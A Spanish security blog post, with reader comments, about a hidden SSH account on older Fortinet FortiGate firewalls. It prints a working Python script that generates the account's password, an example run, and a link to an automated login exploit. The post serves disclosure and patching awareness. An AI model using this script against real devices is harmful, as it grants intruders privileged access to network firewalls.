Revelan la exitencia de un backdoor para acceder por SSH a FortiGate 4.x-5.0.7

Parece que Juniper no es el único que esconde tiene un backdoor para acceder a algunos de sus firewalls con una contraseña "hardcodeada". Recientemente se ha descubierto que los firewalls de Fortinet con la versión de Fortigate OS 4.x a la 5.0.7, también permiten el acceso con privilegios mediante SSH con una contraseña, eso sí, esta vez no es totalmente estática. 

Al loggearnos con el usuario "Fortimanager_Access" se generará una clave numérica aleatoria que *supuestamente* el operador de Fortinet de turno (hola NSA y cía!) usaba para generar una clave de acceso mediante un sencillo algoritmo.

Básicamente este algoritmo consiste en calcular un hash en SHA1 cíclico combinando la cadena dinámica obtenida con otras fijas, como podéis ver a continuación:
#!/usr/bin/env python

import sys
import base64
import hashlib

n = sys.argv[1]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
print h

Si probáis este sencillo script la contraseña de la sesión SSH sería por ejemplo:

python fortigate.py 1759853112
AK1AAAAAAAAAAAAAAAAN5CosnWVyu+nGfiEcqJLjPgf3vM=


Además, hace unos días en Full Disclosure se publicó un script en Python que automatiza la apertura del shell mediante una conexión SSH con Paramiko, una implementación en Python del protocolo SSHv2:

http://seclists.org/fulldisclosure/2016/Jan/26

Como podéis comprobar en la última imágen sacada de un usuario de Reddit y en otros foros ya se ha confirmado dicho backdoor, así que creo que no es necesario que os diga nada más sí tenéis un firewall Fortigate sin actualizar... y mucho menos si tenéis SSH escuchando en un interfaz con una IP pública...



Y es que amigos, la seguridad por oscuridad nunca es buena...

6 comentarios :

  1. http://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios

    ResponderEliminar
  2. Es algo que Fortinet publica en sus paginas oficiales, no es un backdoor, por favor lean la liga y la información completa, saludos...

    ResponderEliminar
    Respuestas
    1. Discrepo Daniel.
      Primero un backdoor es precisamente eso, una puerta trasera que puede ser "abierta" para acceder al sistema con privilegios. Da igual si quien accede es un técnico de Fortinet o un ex-empleado que sabe como generar la clave dinámica. Si tienes abierto SSH cualquiera puede acceder... y a partir de ahora cobra más significado la palabra cualquiera...
      Segundo, Fortinet publica AYER ese aviso después de que se hiciera público el script/algoritmo que genera la clave, NO en las releases notes de la versión 5.0.8 del 26 de AGOSTO cuando se supone que lo solucionaron. Al menos yo no encontrado ninguna mención: http://docs.fortinet.com/uploaded/files/2060/fortios-v5.0-patch-release-8-release-notes.pdf.
      Es decir, no me creo que fuera un fallo que su equipo de seguridad descubrió, más bien un método que era conocido internamente y tenían para acceder a los firewalls en caso de que les abrieran un caso. Por lo que sea, la información de cómo acceder se ha filtrado, es su momento no lo publicaron por la "delicadeza" del asunto, pero hoy ya no tienen más remedio que publicarlo.
      Por eso lo que comentaba, la seguridad por oscuridad o por ocultación no es una buena idea.
      Saludos.

      Eliminar
  3. Lo que en mi opinión es más flipante es que al final no pasa nada. Unos cuentas chistes del tema, otros se rien, otros... y no pasa nada, ni en España ni en Europa. ¡Esto es intolerable! esta compañia tendría que tener prohibido vender un sólo producto más en la UE. Pero... no pasa nada, todos tan contentos, sabemos que no espian y Jejeje...
    Paren el mundo que yo me bajo.

    ResponderEliminar